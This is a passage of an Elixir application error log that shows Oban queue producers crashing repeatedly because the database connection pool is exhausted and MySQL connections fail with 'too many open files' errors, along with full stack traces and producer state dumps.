    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:38:54.240186Z], limit: 20, uuid: "fdcb1e6e-6443-4741-9613-211dc13c1134", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:54.240191Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.128747>, refresh_timer: #Reference<0.2525715032.1068498948.21655>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:06.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1041ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:38:54.240380Z], limit: 5, uuid: "17f21386-38ed-4c1d-83e6-6ed269e24d32", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:38:54.240400Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.128744>, refresh_timer: #Reference<0.2525715032.1121189889.128714>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:07.949000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:10.773000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:11.601000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:11.876000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:16.485000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:16.823000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:17.552000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:18.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 812ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:39:06.245846Z], limit: 20, uuid: "2ea71e75-b6c3-4770-90b0-e5a0b53c294a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:06.245851Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.129155>, refresh_timer: #Reference<0.2525715032.1068498948.21772>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:18.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:39:06.245672Z], limit: 5, uuid: "9a76ccf5-7fdf-4ba8-b303-8d22caed26ac", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:06.245677Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.129156>, refresh_timer: #Reference<0.2525715032.1068498948.21771>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:18.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 850ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:39:06.243531Z], limit: 50, uuid: "23d6fbcd-022b-422b-a976-490ee4f93dc4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:06.243537Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.129153>, refresh_timer: #Reference<0.2525715032.1099431938.24742>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 879ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:39:06.246991Z], limit: 5, uuid: "96ecbe47-e538-48a4-bf7a-6fd9e6bac826", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:06.246997Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.129151>, refresh_timer: #Reference<0.2525715032.1121189889.129140>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:18.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:39:06.244001Z], limit: 3, uuid: "08e9c8fb-cc4e-4684-a80b-71cc8adb8fca", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:06.244006Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.129154>, refresh_timer: #Reference<0.2525715032.1099431938.24760>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:18.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1038ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:39:06.243793Z], limit: 10, uuid: "da0bcf12-369d-4f6c-a972-8dd4a4617b7a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:39:06.243799Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.129152>, refresh_timer: #Reference<0.2525715032.1099431938.24749>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:39:19.392000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:22.612000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:24.436000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:29.492000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:29.993000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:39:30.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1012ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
